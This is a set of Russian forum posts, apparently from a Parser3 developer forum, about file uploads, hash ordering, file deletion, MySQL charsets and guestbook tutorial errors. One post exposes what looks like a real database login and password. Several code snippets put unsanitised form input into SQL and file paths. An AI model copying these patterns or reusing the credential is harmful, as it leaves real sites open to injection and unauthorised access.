2 : DSC00001.JPG (159498) \
0 : DSC00003.JPG (127918) \
1 : DSC00002.JPG (121837)[/code]\
После серии экспериментов, оказалость, что хэш заполняется криво только в случае, если файлов 3. Если меньше или больше - всё ок, заполняется в таком порядке как указал пользователь, т.е. 0,1,3,4...\
\
Пока остановился на таком решении:\
[code]^if(def $form:picture){\
	^for[i](0;^form:files.picture._count[]-1){\
		$f[$form:files.picture.$i]\
		$i : $f.name ($f.size)\
		# ... флиртуем с бд ...\
		# ... издеваемся над фоткой nconvert'ом ...\
		# ... ja! ja! ...\
		# ... etc ...\
	}[<br/>]\
}\
<form method=\"POST\" enctype=\"multipart/form-data\">\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"file\" name=\"picture\" /><br /> \
   <input type=\"file\" name=\"picture\" /><br /> \
   <input type=\"submit\" value=\"OK\" />\
   </p>\
</form>[/code]\
\
[i]PS: версия parser3_2_3_freebsd62R_cgi_xml[/i]"
"67426","Имхо, чё-т ты намудрил с временными файлами и определением формата.\
\
Я тут как раз разбирался с аналогичной задачей - не стал подключать целый класс images.p, т.к. требовалось только конверт в 600x450 и всё.\
\
[code]<form method=\"post\" enctype=\"multipart/form-data\"> \
   <input type=\"file\" name=\"photo\"><br/>\
   <input type=\"submit\" value=\"upload\">\
</form>\
\
^if(def $form:photo){^upload[$form:photo]}[/code]\
и в auto.p\
[code]@upload[photo]\
$ext[^file:justext[$photo.name]]\
$ext[^ext.lower[]]\
^if($ext eq \"jpg\" ||\
	$ext eq \"gif\" ||\
	$ext eq \"png\"){\
		^photo.save[binary;/photos/^photo.name.lower[]]\
		$f[^file::exec[/../cgi-bin/nconvert;;-ratio;-q;80;-rmeta;-resize;600;450;$env:DOCUMENT_ROOT/photos/^photo.name.lower[]]]\
		$result[done, baby.]\
}{\
	$result[this is not a photo, dumbass.]\
}[/code]\
А вообще, имхо, не кошерно юзверю сообщать о неправильности расширения уже после загрузки файло весом мега 4 ... по диалапу.\
\
Для это есть javascript."
"67427","Т.к. в hash в отличии от table элементы лежат неупорядоченно."
"67428","Подключаем другой файлик с тем же классом, в котором сообщения на нужном языке, и вот вам перевод."
"67429","У меня под редхатом nconvert состоит из двух файлов непосредственно из самого nconvert и libformat.so - у вас два?\
\
Также по коду замечание добавьте ещё *.jpe это тоже jpeg формат."
"67430","Хэш $form:files... заполняется в порядке 2, 0, 1 только если юзер загружает 3 файла,\
\
т.е. к примеру юзер выбрал последовательно 3 фотки\
фото1.jpg, фото2.jpg, фото3.jpg и засубмитил - в хэш они добавятся в порядке фото3.jpg, фото1.jpg, фото2.jpg\
\
Стоит выбрать те же фотки и добавить хотя бы ещё одну (фото4.jpg), они загрузятся в том порядке, как и [b]ожидает пользователь[/b]:\
0 - фото1.jpg\
1 - фото2.jpg\
2 - фото3.jpg\
3 - фото4.jpg\
\
никакой связи с размером файла нет, как я подумал в первую очередь (мол самый легкий файл загружается быстрее и соответсвенно первым добавляется в хэш).\
\
[i]PS: в первом сообщении опечатался: «После серии экспериментов, оказалость, что хэш заполняется криво только в случае, если файлов 3. Если меньше или больше - всё ок, заполняется в таком порядке как указал пользователь, т.е. 0,1,[b]2,3[/b]...»[/i]"
"67431","о том, что порядок перебора элементов хеша оператором foreach не определён [url=\"/docs/lang/hashforeach.htm\"]написано в доке[/url]"
"67432","Есть задача: загрузить фотки (логично предположить, что в той последовательности, которую выбрал пользователь)\
\
Ищем решение: смотрим в хелп - ага, есть пример с ^form:files.objects.foreach ...\
\
Результат: фотки загружаются всегда в той последовательности, в которой указал пользователь, исключение: кол-во фоток равно 3, тогда они загружаются в порядке 2, 0, 1. Почему? - http://www.parser.ru/forum/?id=67431 (но это не объясняет, почему в остальных случаях, перебор элементов идет по порядку 0, 1, 2, 3, 4, 5, ...)\
\
Тогда какой смысл вообще использовать foreach для хэша $form:files... ?\
\
Не знаю кто как, но я лично ожидал от выполнения кода из хелпа логичного результата: загрузки фоток в той последовательности, которую выбрал пользователь.\
\
По-любому новички будут сталкиваться с этим \"неожиданным\" результатом, используя пример из хелпа, ожидая совсем другой результат.\
\
Предлагаю добавить в хелп пример, который делает то, что ожидает от него разработчик, а в нынешнем заметно отметить, что порядок перебора загруженных файлов не определён.\
[code]^if(def $form:picture){\
	Загружено фоток: ^form:files.picture._count[]\
	^for[i](0;^form:files.picture._count[]-1){\
		$f[$form:files.picture.$i]\
		$i : $f.name ($f.size)\
		^f.save[binary;/upload/pictures/${i}.^file:justext[$f.name]]\
	}[<br/>]\
}\
<form method=\"POST\" enctype=\"multipart/form-data\">\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"file\" name=\"picture\" /><br />\
   <input type=\"submit\" value=\"OK\" />\
</form>[/code]"
"67433","буквы о том, что foreach перебирает элементы хеша в произвольном порядке и соотв. ожидать исходного порядка нельзя к данному примеру добавлю.\
\
[b]в вашем случае[/b], когда вам нужно сохранять порядок, использовать foreach нельзя вообще, как в общем нельзя использовать одно имя для нескольких файлов (см. мой комментарий про разные броузеры ниже): надо давать разные имена, тогда вы сможете гарантированно при получении записей быть уверены в порядке файлов.\
\
пример, по моему разумению, должен был не демонстрировать факт загрузки файлов в исходном порядке (btw: разные броузеры могут передать файлы на сервер не в том порядке, в котором file-поля  были указаны в html-е), а сам факт возможности использовать одно имя для загрузки нескольких файлов (раньше такой возможности не было вовсе)."
"67434","nconvert под linux у меня состоит из одного файла, который скачан с оф. сайта"
"67435","Стала появляться ошиба вызова функции или что-то в этом духе. Точно уже не помню. Вобщем, все решили уже)"
"67436","[code]    $del[$form:tables.del] \
    ^if($del){ \
        Удалена работа №$del.field\
    	$del_works[^table::sql{select img_s, img_f from portfolio where id='$del.field'}] \
        ^file:delete[$del_works.img_s]\
        ^file:delete[$del_works.img_f]\
        ^void:sql{delete from portfolio where id='$del.field'}\
    }{ \
        Ничего не выбрано \
    } \
[/code]"
"67437","прошу, прощения за такой разброс в постах... эт случайно... не пинайте сильно )    Дело вот в чем, надо удалять два файла из разных папок после одного запроса к базе. Ошибка получается когда добавляю второй ^file:delete[], с одним все прекрасно работает... как можно избежать этих ошибок, и сделать чтобы все правильно работало..."
"67438","Вот, поругался на эту стоку:\
\
[code]\
$ob[^table::sql{SELECT * FROM ^ntc[$_nedv_type] WHERE id = $_id}]\
[/code]\
\
Вывел \
\
[code]\
SELECT * FROM dom WHERE id = 0\
You have error\
[/code]\
\
Ну да, в базе нет строки с id=0, но зачем ругаться, если после этой строки идет проверка ^if(def $ob){...}\
?"
"67439","[code]$hash[\
	$.0[obj1]\
	$.1[obj2]\
	$.2[obj3]\
]\
\
^hash.foreach[k;v]{\
	$k - $v\
}[<br/>]\
\
2 - obj3 \
0 - obj1 \
1 - obj2[/code]\
\
и что странно, до 9-и элементов включительно перебирает по порядку:\
[code]$hash[\
	$.0[obj1]\
	$.1[obj2]\
	$.2[obj3]\
	$.3[obj4]\
	$.4[obj5]\
	$.5[obj6]\
	$.6[obj7]\
	$.7[obj8]\
	$.8[obj9]\
]\
\
^hash.foreach[k;v]{\
	$k - $v\
}[<br/>]\
\
0 - obj1 \
1 - obj2 \
2 - obj3 \
3 - obj4 \
4 - obj5 \
5 - obj6 \
6 - obj7 \
7 - obj8 \
8 - obj9[/code]\
\
если больше:\
[code]$hash[\
	$.0[obj1]\
	$.1[obj2]\
	$.2[obj3]\
	$.3[obj4]\
	$.4[obj5]\
	$.5[obj6]\
	$.6[obj7]\
	$.7[obj8]\
	$.8[obj9]\
	$.9[obj10]\
	$.10[obj11]\
]\
\
^hash.foreach[k;v]{\
	$k - $v\
}[<br/>]\
\
9 - obj10 \
0 - obj1 \
1 - obj2 \
2 - obj3 \
3 - obj4 \
4 - obj5 \
10 - obj11 \
5 - obj6 \
6 - obj7 \
7 - obj8 \
8 - obj9[/code]\
\
На счёт имён файлов, привёл тестовый пример. В рабочей версии имя файлу даётся на основании LAST_INSERT_ID()"
"67440","[code]$del[$form:tables.del] \
^if([b]def[/b] $del){ \
	[b]^del.menu{[/b]\
		Удалена работа №$del.field\
		$del_works[^table::sql{select img_s, img_f from portfolio where id='$del.field'}] \
		^file:delete[$del_works.img_s]\
		^file:delete[$del_works.img_f]\
		^void:sql{delete from portfolio where id='$del.field'}\
	[b]}[/b]\
}{\
	Ничего не выбрано \
}[/code]"
"67441","Если в чем-то и есть ошибка, так это в том, что хэш в некоторых случаях сортируется правильно:)"
"67443","так как вы предложили теперь сраница не открываеться... Unhandled exception in /admin/: method of MAIN (MAIN) accepts maximum 0 parameter(s) [parser.runtime] в чем может быть дело подскажите...?"
"67444","Я так понял, в $del.field содержится id?\
и в $del_works.img_f что лежит? просто имя файла или ещё и путь?\
\
+ добавьте проверку на существование файла\
[code]^if(-f $del_works.img_f){^file:delete[$del_works.img_f}[/code]"
"67445","да, в $del.field лежит ID...\
в $del_works.img_f путь и имя файла"
"67446","я вам ещё раз говорю: они не упорядочены (и это написано в доке), т.к. у хеша иное назначение. внутренние механизмы сами располагают элементы таким образом, чтобы скорость доступа к ним была максимальной.\
\
никакого бага тут не было и нет. в доку по form:files я уже добавил доп. комментарий (на сайте обновлённая дока появится только с новой версией парсера)."
"67447","[code]\
^if(def $form:del){\
	$sIDS[^form:tables.del.menu{'$form:tables.del.field'}[,]]\
	$tDeletedWork[^table::sql{SELECT id, img_s, img_f FROM portfolio WHERE id IN ($sIDS)}]\
	^tDeletedWork.menu{\
		Удалена работа №$tDeletedWork.id\
		if(def $tDeletedWork.img_s && -f $tDeletedWork.img_s){\
			^file:delete[$tDeletedWork.img_s]\
		}\
		if(def $tDeletedWork.img_f && -f $tDeletedWork.img_f){\
			^file:delete[$tDeletedWork.img_f]\
		}\
	}\
	^void:sql{DELETE FROM portfolio WHERE id IN ($sIDS)}\
}{\
	Ничего не выбрано \
}\
[/code]"
"67448","также не верю, что SQL сервер ругается, если в БД нет записи с указанным в запросе ID."
"67451","Почти уверен, что причина - кривые руки, но все таки, пожалуйста ткните, где ступил.... \
\
парсер выдает ошибку \
Unhandled exception in /admin/edit_work.html?36: /home/zhmerinka/domains/zhmerinka.info/public_html/nasha/admin/edit_work.html(44:15): 'sql' method of MAIN (MAIN) accepts maximum 0 parameter(s) [parser.runtime]\
\
в строке \
^void:sql{update 'portfolio' set title='$form:title' title_en='$form:title_en' info='$form:info' info_en='$form:info_en' where id='$request:query'}"
"67454","- исправлена работоспособность $caller.self[.field[[value]]] (перестало работать в beta12)\
\
- parser собран c PCRE 7.7 (до этого использовалась версия 2.x), в результате match теперь нормально работает с utf-8 и у регулярных выражений появились доп. возможности, в частности именованные обратные ссылки и рекурсивные шаблоны (подробности читайте в доке по PCRE)"
"67455","Но ради такого случая повторил ошибку ))\
\
SELECT * FROM WHERE id = 0\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 0' at line 1\
\
/var/www/vhosts/realty05.ru/httpdocs/auto.p(368:13)\
\
Вот эта строка\
$ob[^table::sql{SELECT * FROM ^ntc[$_nedv_type] WHERE id = $_id}]"
"67456","Там у меня ^ntc[] давал пустой результат."
"67457","А где все свежие беты в репозитории?\
Может я не туда смотрю, но в HEAD последнее изменение от 24.06 (beta8)."
"67458","Возможно ли средствами parser создавать папки на сервере? Вопрос возник так, как ничего подобного в мануале нет..."
"67459","не так давно тоже задавался этим вопросом...\
Создать пустую директорию возможности нет. Если сохранять файл в несуществующую директорию - она создается автоматически.\
\
Предполагаю, что ситуация, когда нужно содать пустую директорию довольно редкая, и может понадобится только при написании, допустим       своего файл-менеджера.\
Но в этом случае можно создавать в новой директории файл (скажем, \"nofile.forparser\") размером в 1 байт и не выводить его с списке файлов файл-менеджера."
"67460","отдельных tags/branch для бет я не делал. бета -- версия из head на конкретный момент.\
\
как ты смотришь я не знаю (ChangeLog я апдейчу от случая к случаю), вот пара примеров (смотреть на Age):\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/\
http://cvsview.parser.ru/cgi/viewcvs.cgi/win32/pcre/"
"67461","Всё верно, апдейты есть, а меня смутил \"древний\" ChangeLog.\
Спать надо больше:-)"
"67462","[code]$f[^file::exec[mkdir;;/www/domain/www/htdocs/123]][/code]\
Единственная проблема с вызовом mkdir из /bin/ (freebsd6), я так и не понял как это сделать (/../mkdir, /../bin/mkdir -- не пашет)\
\
Ждём помощи юниксойдов :)"
"67463","создаёте простенький скрипт\
обязательное условие владелец у скрипта и parser должен быт один\
это ограничение введено в parser c целью повышения безопасности\
\
#!/bin/sh\
mkdir $1"
"67464","ДОБРОЙ НОЧИ. возник спорный вопрос.\
Посетитель сайта запрашивает следующую страницу:\
[code]www.....org/catalog/firma/model[/code]\
я разбираю этот запрос по частям и кладу в хеш, чтобы затем собрать страницу, которую запросили:\
[code]$uri[\
 $.uri1[catalog]\
 $.uri2[firma]\
 $.uri3[model]\
][/code]\
Имя хеша у меня постоянно. Сегодня пришло сомнение: если в тот момент, когда первый пользователь запрашивает страницу\
[code]www.....org/catalog/firma/model[/code]\
второй запросит какую нибудь другую страницу:\
[code]www.....org/reports/trade/[/code]\
не перезапишется ли информация в хеше\
[code]$uri[\
 $.uri1[catalog]\
 $.uri2[firma]\
 $.uri3[model]\
][/code]\
на новую:\
[code]$uri[\
 $.uri1[reports]\
 $.uri2[trade]\
][/code]\
ведь информацию из хеша я использую на весь период формирования страницы, к тому же каждый раз, КОГДА происходит разбор запроса по частям ключи хеша получают новые значения.\
Вот я и опасаюсь, что первый пользователь запросив свою страницу получит то, что запросил второй.\
 Может стоит давать новое имя хешу на каждый уникальный хост? вы сталкивались с такой ситуацией?"
"67466","По отдельности отлично справляются со своей задачей, а при вместе никак... Парсер говорит что ошибка в строке первого ифа... Обьясните почему... Мануал читал, там написано \"На код не накладывается никаких ограничений, в том числе внутри него может содержаться еще один или несколько операторов if.\" Почему не работает понять не могу. Расскажите тонкость этой операции... \
\
[code]\
^if($sections.uri_ua eq $request:uri){ \
	<li><span class=\"select\">$sections.name_ua</span></li>\
}{ \
	^if(def $request:query){ \
		$work_title[^string:sql{select title_ua from portfolio where id='$request:query'}]\
		<li><span><a href=\"index.html\">$sections.name_ua</a></span>&nbsp;&#8594;&nbsp;<span class=\"select\">$work_title</span></li>\
	}{ \
		<li><span><a href=\"$sections.uri_ua\">$sections.name_ua</a></span></li>\
	} \
} \
\
[/code]"
"67467","все. разобрался. проблема была в символах ;\
тред можно закрывать."
"67468","Каждый процесс Парсера имеет свое, независимое пространство памяти для переменных."
"67469","У вас по-ходу ошибка в прошлых вопросах вылетала из-за таких:\
[code]&nbsp;&#8594;&nbsp;[/code]\
потому как, если вы всю логику запихнули в хтмл, парсер может легко взбрыкнуть на очередном ;\
[code]&nbsp^;&#8594^;&nbsp^;[/code]\
\
Поэтому выносите всю логику в отдельные P-файлы/классы -- самому потом легче будет разобраться; в парсере это очень удобно и просто реализовано."
"67470","буду стараться. в дальнейшем учту. спасибо за рекомендацию)"
"67471","Скажите, пожалуйста, как можно запретить обработку парсером конкретного *.html файла? Что нужно записать в .htaccess, если это делается через .htaccess?"
"67473","Выполняю урок №4. При добавление записи в БД появляется такое сообщение:\
\
[quote]'insert into news (date, header, body) values ('2008-8-17', 'пример', 'яяя') ' Incorrect string value: '\\xEF\\xF0\\xE8\\xEC\\xE5\\xF0' for column 'header' at row 1 [sql.execute] [uri=/bd.html, method=POST, cl=70][/quote]\
\
Что не так? БД и таблица утановлены в кодировку cp-1251. В html-документе стоит <meta... content=\"text/html; charset=windows-1251\">"
"67474","Если заполняю поля в примере латинскими - все работает.\
a\
Есть-ли какие-то универсальные рекомендации по настройке MySQL via Parser?"
"67475","Достаточно было всего навсего верно записать $connection_string. Вот так:\
\
[code]$connect_string[mysql://root@localhost/p3test?charset=cp1251_koi8&ClientCharset=windows-1251][/code]\
\
А между тем, в уроке было записано так:\
\
[code]$connect_string[mysql://root@localhost/p3test][/code]\
\
Вот и появилась маленькая но досадная проблема, отлов которой занял у меня почти 2 часа :)"
"67476","А вот почитать [url=http://dev.mysql.com/doc/refman/5.0/en/charset.html]документацию по MySQL[/url] или [url=http://www.parser.ru/examples/mysql_charsets/]статью из примеров[/url] Вам все-таки стоило."
"67477","Конечно-же стоило. Я так и сделал. Только предварительно пришлось перебрать кучу иных пришедших в голову вариантов.\
\
Урок ведь - на то он и урок, чтобы дать понять незнающему человеку что с чем связано. А там, к сожалению, вообще о кодировке речь не шла.\
\
Впрочем, Вам решать, что дописывать в документацию, а что нет."
"67478","т.к. используемая строка соединения с БД зависит от того, какой сервер БД используется, какие он имеет настройки и с какими настройками созданы БД и таблицы.\
\
судя по опциям, заработавшим [b]у вас[/b], в качестве серверной кодировки вы используете koi8-r, которая в данный временной период ну никак не может являться рекомендуемой (мы рекомендуем использовать UTF-8 или в крайнем случае 1251), а соотв. и опции соединения будут совершенно другими (в случае хранения данных и файлов в кодировке 1251 их не будет вовсе, что и фигурирует в примерах).\
\
более того, я не знаю зачем вам понадобилось использовать две опции, задающие перекодирование: charset и ClientCharset. в 99% случаев более чем достаточно одной из них (для MySQL 4.1 и выше -- первой, однако судя по используемому у неё вами значению у вас MySQL 3.xx или MySQL 4.0.x), и в вашем случае похоже вторую можно просто выкинуть."
"67479","Спасибо за развернутый ответ. \
\
На самом деле у меня стоит MySQL 5.1, а проблема была решена так: я открыл [url=\"http://www.parser.ru/docs/lang/app3mysql.htm\"]раздел справки[/url], после чего тупо и бездарно вставил параметры кодировки (оба), указанные в общем определении строки подключение (к сожалению, в тот момент я не увидел частного случая, описанного на той странице ниже). Как только все заработало, я успокоился.\
\
Теперь, когда я немного разобрался, строка подключения выглядит так:\
\
[b][code]$connect_string[mysql://root@localhost/p3test?charset=cp1251][/code][/b]\
\
Спасибо вам :)"
"67480","P.S. на win32 в WinCVS актуальный ChangeLog запросто можно получить самостоятельно, для чего надо выбрать проект parser3 и затем: Macros | Build ChangeLog | Standard Changelog"
"67481","http://www.parser.ru/docs/lang/?requestargv.htm\
в заголовке слово \"командный\" с двумя \"н\"."
"67483","хм, мне казалось, что в случае MySQL 5 указание опции charset=cp1251_koi8 должно привести к ошибке MySQL сервера, т.к. это равносильно выдаче команды 'SET CHARACTER SET=cp1251_koi8', а MySQL 5 подобного значения для этой опции не имеет.\
\
ну да ладно, даже если не было этой ошибки, то эта опция не могла работать, и по факту работала только опция ClientCharset, которая включала перекодирование парсером, а не sql сервером (а именно последнее рекомендуется нами).\
\
в любом случае раздел с настройками кодировок для MySQL серверу уже был дополнен разными случаями, и станет доступен с релизом Parser 3.3.0, возможно написанное упростил кому-то жизнь."
"67484","Где взять готовые компоненты (классы) для создания стандартных элементов сайта:\
- архив новостей\
- галерея картинок\
- FAQ\
- книга отзывов\
?\
Есть ли у парсера комьюнити, независимое от студии Лебедева, в котором это всё можно найти?"
"67486","http://www.parser.ru/examples/ ->\
Опросы ->\
http://www.spearance.ru/parser3/poll/ ->\
\
connect\
\
connection string must start with protocol://\
\
/www/typograf/www/htdocs//../classes/mysql/sql.p(76:2)\
server	/www/typograf/www/htdocs/parser3/poll/index.html(43:12)"
"67493","пытаюсь заставить БД работать. Подключаю разные библиотеки и в подавляющем большинстве случаев парсер не видит libparser3mysql.so, находя его в других (неработающих) случаях, когда возникают ошибки.\
\
В душе сервера: 64-битный линукс, парсер работает этот:\
Linux Debian 3.4: Parser 3.2.1sp2 (tar.gz, 612 КБ) + MySQL драйвер (tar.gz, 52 КБ) [прислал MT]\
\
Уже перепробованы все найденные на этом сайте комбинации:\
libparser3mysql.so\
libmysqlclient.so\
\
Скомпилили парсер под 64-битным линуксом, не заработал, прочитал про то, что 64 не поддержиавается пока и забил. Поиски решения уже обошлись kak два года хостинга. Клиент НЕ хочет менять хостинг.\
\
Остается подключить БД. Куда копать?"
"67494","http://www.parser.ru/forum/?id=64114"
"67496","Нужно установить веб-камеру на сайт, что бы при заходе на него отображалось видео в реальном времени. Не когда с этим не сталкивался и честно говоря с трудом представляю сам процесс. Может кто имел опыт или даст наводку где можно найти соответствующую информацию или пример?"
"67497","я использовал камеру которая напрямую к ethernet подключалась, вешалась на отдельный IP. В камере был свой интерфейс инастройки, там определялось что, куда и как часто писать + в интерфейсе можно было поворачивать камеру. Вот собственно и все.\
Я видео как таковое не писал, писал кадры 640х480 1 раз в 5 минут.\
\
P.S. давно это было года 3-4 назад, деталей уже не помню."
"67498","[quot]\
Уже перепробованы все найденные на этом сайте комбинации:\
libparser3mysql.so\
libmysqlclient.so\
[/quot]\
\
не надо шаманить с libmysqlclient.so (при переборке большого числа комбинаций несложно ошибиться и пропустить нужную).\
для начала скачайте с сайта mysql предлагаемую ими 32-битную библиотеку."
"67499","на ней (именно на 6) почему-то есть проблема _статической_ сборки _драйвера_ (без ручного шаманства он собирается динамически), поэтому приходится собирать и _парсер_ динамически.\
\
с другой стороны шаманство для статической сборки драйвера там не сложное, и мы его используем, собирая релизы и беты."
"67500","Озадачился переносом увесистой пачки сайтов со старого сервера под FreeBSD 4.x на новый FreeBSD 7. К сожалению не нашел собраных бинарников для 7й версии в разделе скачать. Парни, а ведь уже 7.1 на подходе!\
\
Пробовал сборку из CVS, \
пробовал бету из раздела \"скачать\"\
пробовал собирать 3.2.1 из сорцов (с подменой gcc на gcc34)\
пробовал собирать 3.2.2 из сорцов\
\
все манипуляции заканчиваются рабочим parser3 и невозможностью подключения драйвера mysql c сообщением в логах\
libparser3mysql.so can't open the module [<no type>]\
\
при чем судя по _test.html библиотеку parser по путям находит, т.к. пробовал уже прописывать и полный путь.\
\
Поэтому большая просьба участникам форума, если у кого есть рабочий бинарник для FreeBSD7, желательно версии 3.2.1 где-то выложить, или же отправить мне электропочтой на mprokopov[at]gmail.com. \
\
Заранее благодарю."
"67501","лично у нас на freebsd 7 прекрасно работают версии, собранные для freebsd 6 (те, что из раздела \"скачать\").\
\
для начала читаете [url=\"/forum/?id=63264\"]это[/url] и ставите нужную клиентскую библиотеку.\
\
затем ставите парсер и _драйвер_, взятые из раздела скачать для freebsd 6.\
\
если не получится -- рассказываете подробности."
"67502","Поставил на сайт форму загрузки файлов на сервер. Форма отправки почему-то конфликтует с кодом для Сапы.\
\
[code]\
<form enctype=\"multipart/form-data\" method=post>\
...\
<input type=file name=foto class=input3>\
...\
</form>\
^add_foto[]\
\
@add_foto[]\
^form:foto.save[binary;/pic/objects/$form:nedv_type/${last_id}_1.jpg]\
[/code]\
\
При таком раскладе выходит ошибка\
\
[b]foto[/b]\
is file, form option value must either string or table\
\
При этом ошибку вызывает строка из auto.p\
[code]\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;\
[/code]\
\
Эта строка - часть кода для SAPE.RU\
[code]\
@usePHP[fileName][path;file]\
$path[$request:uri]\
$path[^path.match[/.*?^$][]{}]\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;\
$.form[$form:fields]\
]]\
^untaint{$file.text}\
[/code]\
\
\
Как эти коды пересекаются и конфликтуют - не пойму.\
PS При отключении кода сапы, все работает нормально."
"67503","проблема вот в чем...\
как только в хтмл документ добавляеться \
@USE\
/classes/gbook.p \
сразу ошибка... \
Unhandled exception in /gbook.html: method of MAIN (MAIN) accepts maximum 0 parameter(s) [parser.runtime]\
Переделывал, перечитывал... никак не могу понять в чем может быть проблема... Судя по уроку ничего сложного в описании и подключении елементарного модуля нет, но вот... сделал все точно как по примеру и ничего не получается... Пожалуйста, подскажите в чем дело, или если у когото есть простейший подключенный модуль, разрешите взглянуть..."
"67504","Посмотрите какая строка кода вызывает ошибку и расскажите нам."
"67506","в том то и дело что понять не могу какая строка есть проблемой...[code]\
@USE \
/classes/gbook.p \
\
@body_main[] \
Гостевая книга тестового сайта<br /> \
<hr /> \
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[] [/code]\
с начала біло так, потом начал убирать чтобі понять в чем дело... \
[code]\
@USE \
/classes/gbook.p \
\
@body_main[] \
Гостевая книга тестового сайта  \
[/code]\
даже при таком таже ошибка... \
когда убираю @USE все работает..."
"67507","Ogromnoe spasibo."
"67508","У фирмы которая заказала это, нет не сервера, не выделенного IP. Следовательно о видео в режиме реального времени, речь они рановато завели.\
\
Максимум картинки."
"67509","Скорее всего где-то в gbook.p неэкранированная точка с запятой"
"67510","были неэкранированные точки с запятой, но все поправил. Не помогло... \
gbook.p \
[code]\
@CLASS \
gbook \
\
@load[] \
^MAIN:dbconnect{ \
   $messages[^table::sql{select author, email, date, body from gbook}] \
} \
\
@show_messages[] \
^if($messages){ \
   ^messages.menu{ \
      <table width=\"100%\"> \
         <tr> \
         <td align=\"left\"><b>$messages.author \
            ^if(def $messages.email){ \
               $messages.email \
            }{ \
               Нет электронного адреса \
            }</b> \
         </td> \
         <td align=\"right\">$messages.date</td> \
         </tr> \
      </table> \
      <table width=\"100%\"> \
      <tr> \
         <td>$messages.body</td> \
      </tr> \
      </table> \
   }[<table width=\"100%\" border=\"0\" bgcolor=\"000000\" cellspacing=\"0\">  \
        <tr><td>&nbsp^;</td></tr> \
   </table>] \
}{ \
   Гостевая книга пуста. \
} \
\
@show_form[] \
<hr /> \
<br /> \
$date[^date::now[]] \
<center> \
<form method=\"POST\"> \
<p> \
Author<sup>*</sup><input name=\"author\" /><br /> \
E-mail<input name=\"email\" /><br /> \
Text<br /><textarea cols=\"50\" name=\"text\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Send\" name=\"post\" />\
<input type=\"reset\" value=\"Cancel\" /> \
</p> \
</form> \
</center> \
\
@test_and_post_message[] \
^if(def $form:post){ \
   ^if(def $form:author){ \
      ^MAIN:dbconnect{ \
         ^void:sql{insert into gbook \
            (author, email, date, body) \
         values ( \
            '$form:author', \
            '$form:email', \
            '${date.year}-${date.month}-${date.day}', \
            '$form:text' \
         )} \
      } \
      $response:location[$request:uri] \
   }{ \
      <center>Поле автор обязательно для заполнения</center> \
   } \
} \
[/code]\
\
gbook.html\
[code]\
@USE \
/classes/gbook.p \
\
@page_title[]\
Test - main page \
\
@body_main[] \
Гостевая книга тестового сайта<br /> \
<hr /> \
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
[/code]"
"67511","Насколько я понимаю это должно быть а auto.p а не в gbook.html\
\
[code]\
@USE \
/classes/gbook.p \
\
@page_title[]\
Test - main page \
\
@body_main[] \
Гостевая книга тестового сайта<br /> \
<hr /> \
\
$gb[^gbook::load[]] \
^gb.show_messages[]\
[/code]"
"67512","разве.... \
написано в мануале:\
\
[quote]\
На этом создание пользовательского класса, описывающего методы объектов класса gbook, завершено. Его осталось только подключить для использования на нашем сайте. Перед нами стоит задача сообщить Parser, что на некоторой странице мы собираемся использовать свой класс. Для этого в файле index.html каталога gbook в первой строке напишем следующее: \
\
@USE \
/classes/gbook.p \
\
Теперь на этой странице можно создать объект класса gbook и использовать затем его методы. Сделаем это в основной информационной части: \
\
@body_main[] \
Гостевая книга тестового сайта<br /> \
<hr /> \
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[] \
\
# и конечно же не забываем про остальные части  \
@greeting[] \
Оставьте свой след: \
\
@body_additional[] \
Нам пишут… \
[/quote]"
"67513","Обращаюсь и к [i]/cgi-bin/nconvert/nconvert[/i]\
и к [i]/Library/WebServer/CGI-Executables/nconvert/nconvert[/i]\
\
Все равно получается [i]Script file ... not found[/i].\
\
Что я могу делать неправильно?"
"67515","достаточно чтоб под рукой был вменяемый провайдер, тогда все возможно..."
"67516","+ в конфигурационным файлом из разздела \"скачать\" выводится файл, номер строки и номер позиции, где по мнению парсера произошла ошибка. приведите и эту информацию."
"67517","строка в вашем случае кажется эта:\
[code]\
$.form[$form:fields]\
[/code]\
\
согласно сообщению об ошибке и документации, туда можно передавать только строки или таблицы с 1 столбцом, и нельзя передавать файлы (не поверите, но прямо так и написано)."
"67518","абсолютные (/ -- корень диска) пути парсером обрабатываются лишь в паре мест. во всех остальных случаях / в начале пути есть document root."
"67519","Не знаю, правильно это или нет. Хотя зачем код для Сапы перехватывает все поля формы я тоже не понял.\
Пока все работает."
"67520","$da[^date::now[]] //предположим, сейчас 23:30\
$da.hour // 23\
^da.roll[day](1/24) //хочу, чтобы $da.day стал завтрашним, а кол-во часов не проверять вручную\
$da.hour // 23 :^((\
\
Есть ли удобный способ работы с подобными задачами?"
"67521","как в этом примере: http://www.parser.ru/docs/lang/dateroll.htm\
Везде в сети есть только этот документ: \
http://www.hackcanada.com/blackcrawl/encrypt/pgpjump.txt"
"67522","Тоже столкнулся с проблемой в этом уроке, оказалось, лишний пробел в разделе /classes/ файле gbook.p после @CLASS\
Может у Вас также?"
"67523","Применительно к этой проблеме — решили с Ильясом переместить nconvert в [i]document root[/i]. Пути — явно очевидны. Все заработало."
"67524","конечно. постепенно делал уроки и вот дошел до этого. сейчас дело в том, что пытаюсь написать чтото подобное основы для сайта и к сожалению файлом auto.p из уроков у меня нет (удалил, перезаписал... не помню... (; ) сейчас работаю с таким auto.p в корне:\
\
[code]\
@main[] \
$connect_string[mysql://zhmerinka_test:bujxnkrv@localhost/zhmerinka_test] \
$CLASS_PATH[/classes]\
^header[] \
^body[] \
^footer[]\
\
@USE\
/classes/faq.p\
\
@unhandled_exception[]\
\
@dbconnect[code] \
^connect[$connect_string]{$code}\
\
@header[] \
	<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\
	<html xmlns=\"http://www.w3.org/1999/xhtml\">\
	<head>\
		<title>^page_title[]</title>\
